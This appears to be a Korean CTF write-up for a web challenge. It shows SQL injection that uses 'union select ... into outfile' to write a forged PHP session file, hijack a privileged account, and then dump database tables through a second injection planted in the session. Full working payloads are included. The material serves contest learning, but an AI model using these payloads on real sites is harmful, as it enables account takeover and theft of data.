[White Hacking] Serial2 web(150 point) Write-up , 화이트 해킹대회
Solved By 광운(exso)
1. 우선 로그인을 해보면 비밀글을 읽고 싶게 만들어져 있으므로 readme 권한을 얻어냈다.
2. 우선 페이지의 Admin 페이지를 가보면 가벼운 인젝션이 먹히는 것을 확인 할 수있다.
하지만 얻어낼 것은 아무것도 없었다. 데이터베이스는 다른 데이터베이스와 나눠져 있었다.
union select 가 먹히는 것도 확인 했다.
loadfile 과 outfile 이 먹혀 들어가는 것도 확인 했다.
아래는 loadfile 로 결과를 union select 로 확인한 화면이다.
union select ..... into outfile('[파일명]'); 을 이용하여 세션을 강제 주입하여 readme 권한으로 세션을 만들어야 한다. 세션을 /var/lib/php5/ 에 강제 주입시키고, 그 세션으로 하이제킹하여 readme 권한을 얻는 방법을 써야 한다.
세션을 만들기 위해 세션이 어떤식으로 생성되는가를 봐야하는데, 이는 include 취약점을 만들어두어
소스코드를 읽을 수 있게 해 두었다.
session 이름은 memdata 이고 id,pw,level,을 인자로서 만들어 진다는 것을 알 수 있었다.
서버에 똑같이 코딩하여 세션을 생성 하였다.
[세션을 만들어내는 모습]
[인젝션을 할 시 싱글 쿼터 더블쿼터가 걸리적 거리므로 헥사코드로 전부 치환 시킨다]
인젝션 구문을 통하여 서버에 강제로 readme 계정의 세션을 주입 시킨다.
'union select 0x6D656D646174617C733A38363A22613A343A7B733A333A22696478223B733A313A2231223B733A323A226964223B733A363A22726561646D65223B733A323A227077223B733A343A2261616161223B733A353A226C6576656C223B733A313A2231223B7D223B into outfile '/var/lib/php5/sess_k1rha' #
(여기서 세션 이름은 sess_ 가 반드시 포함되어야 하며 k1rha는 임의의 세션명이다.)
[세션 강제 주입 화면 .강제 주입시는 sess_ 를 빼고 삽입한다]
[세션을 대체하고나면 비밀글이 보인다.
하지만 답이 있는것이 아니라 디비를 다시 뒤지라고 알려준다.]
이렇게 세션이 삽입 된다는 것을 알았다.
이때 session id 대신 session level 을 출력해 주는 방식을 사용하여 level 부분에 다시 유니온을 사용하여
member테이블에 대한 값을 구해 올 수 있었다.
' union select 'memdata|s:161:"a:4:{s:3:"idx";s:1:"1";s:2:"id";s:5:"k2rha";s:2:"pw";s:8:"anything";s:5:"level";s:72:"2\' union select group_concat(table_name) from information_schema.tables#";}";' into outfile '/var/lib/php5/sess_customsession1'#
CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,ENGINES,EVENTS,FILES,GLOBAL_STATUS,GLOBAL_VARIABLES,KEY_COLUMN_USAGE,PARAMETERS,PARTITIONS,PLUGINS,PROCESSLIST,PROFILING,REFERENTIAL_CONSTRAINTS,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,SESSION_STATUS,SESSION_VARIABLES,STATISTICS,TABLES,TABLESPACES,TABLE_C : Hacking Detected
.
.
.
.
이하 생략
.
.
.
union select 'memdata|s:136:"a:4:{s:3:"idx";s:1:"1";s:2:"id";s:5:"k1rha";s:2:"pw";s:8:"anything";s:5:"level";s:47:"2\' union select k3yk3y from k3y_1s_h3r3.k3yk3y#";}";' into outfile '/var/lib/php5/sess_customsession'#
'Web_Hacking' 카테고리의 다른 글
파일내에 exec 계열 함수 사용 여부 (내용으로검색) (0) | 2013.10.05 |
---|---|
[white hacking] 화이트 해킹대회 web PPPPAAAASSSWWW... (150Point) (0) | 2013.09.15 |
블라인드 인젝터 미리 코딩... (0) | 2013.06.10 |
크로스 사이트 스크립트 치트시트 (XSS Cheat sheet) (0) | 2013.01.23 |
웹쉘 에사용되는 함수 점검하는 스크립트~ (Script, Finding using function in webshell) (0) | 2012.11.29 |